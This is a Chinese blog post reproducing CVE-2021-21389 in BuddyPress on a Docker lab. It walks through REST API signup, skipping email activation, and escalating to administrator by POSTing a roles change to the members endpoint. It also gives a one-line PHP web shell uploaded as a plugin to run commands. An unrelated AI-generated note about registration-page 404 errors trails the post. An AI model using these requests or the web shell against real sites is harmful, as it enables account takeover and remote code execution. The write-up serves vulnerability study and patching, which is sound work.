WordPress BuddyPress 存在越权漏洞RCE(CVE-2021-21389)

本文详细介绍了BuddyPress在5.0.0到7.2.1版本间的严重安全漏洞,非特权用户可通过RESTAPI获取管理员权限。通过docker环境复现了漏洞步骤,包括注册、绕过验证、提升权限及上传木马。建议用户更新到7.2.1版本以修复此问题。
摘要由CSDN通过智能技术生成

一、漏洞描述

BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题

二、影响版本

5.0.0 <BuddyPress< 7.2.1

三、漏洞环境

1、dockerhub拉镜像,docker pull hoangkien1020/buddypress:cve202121389

2、启动环境,docker run -p 80:80 -d hoangkien1020/buddypress:cve202121389

四、漏洞复现

1、构造发包:POST /wp-json/buddypress/v1/signup

{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

2、将注册时的activation_key取出来,构造发包PUT //wp-json/buddypress/v1/signup/activate/cPyemIPO4HhzOaPpJtA9oG1MUlxULeiM,以绕过邮箱验证

3、新建分组,填完Details后,然后settings默认点击下一步,然后重新进入groups,已经创建成功。

4、点开group1134进入manage下面的members,点击Ban,然后抓包,获取到有效的Cookie和X-WP-Nonce,然后构造发包POST /wp-json/buddypress/v1/members/me,替换掉里面的Cookie和X-WP-Nonce,然后获取administrator角色的权限

{"roles": "administrator"}

刷新页面后,我们已经获取到administrator角色的权限可以查看和操作所有模块,我们通过更新plugins,上传木马

选择文件时,选择所有文件,保险起见选择啦.png格式的小马(后测试发现可以直接上传.php文件),测试一下选择上传后,抓包修改,修改为.php模式,

Content-Disposition: form-data; name="pluginzip"; filename="c.php"

Content-Type: text/php

<?php

system($_GET[cmd]);

?>

上传成功后,status显示为200,但是显示不可更新,我们从/wp-content/uploads/2022/05/(上传的年月)路径下获取已经上传的木马文件,成功执行命令

五、更新建议

目前厂商已发布升级补丁以修复漏洞或直接更新到最新版本,补丁获取链接:

BuddyPress 7.2.1 Security Release · BuddyPress.org

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
WordPress 结合 BuddyPress 的环境中,遇到注册页面(通常指用户注册或登录页面)404问题可能是由以下几个原因引起的: 1. **URL结构错误**:确保 WordPress 主题中的注册 URL 指向了正确的 BuddyPress 插件文件。通常,这可能是 `bp-login.php` 或者自定义的登录模板。 2. **插件冲突**:有些插件可能会影响到 BuddyPress 的功能,检查是否有插件与 BuddyPress 或默认的 WordPress 登录功能不兼容。 3. **未激活插件或主题**:BuddyPress 需要与合适的 WordPress 主题和插件一起工作,确保它们都已正确激活。 4. **BuddyPress 设置**:在 wp-admin 中,前往 Users -> Settings -> Registration 页面,确认是否正确配置了用户注册设置,包括重定向和默认页面。 5. **代码问题**:如果使用了自定义代码或主题模板,可能存在误删、路径错误或代码冲突导致的404。 6. **服务器配置**:有时,服务器防火墙或.htaccess 文件设置可能阻止了对注册页面的访问,检查这些设置。 为了解决这个问题,你可以尝试以下步骤: 1. **检查URL**:确保 URL 没有错别字,使用浏览器开发者工具检查请求路径。 2. **更新插件和主题**:确保所有插件和主题都是最新版本。 3. **禁用/启用插件**:临时禁用除BuddyPress 和必要主题外的所有插件,看问题是否依然存在。 4. **复原设置**:如果使用过自定义配置,尝试还原到默认设置。 5. **查看日志**:查阅网站服务器日志,寻找关于404的详细信息。 6. **寻求专业帮助**:如果以上步骤都无法解决问题,可能需要联系开发者或寻求技术支持。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值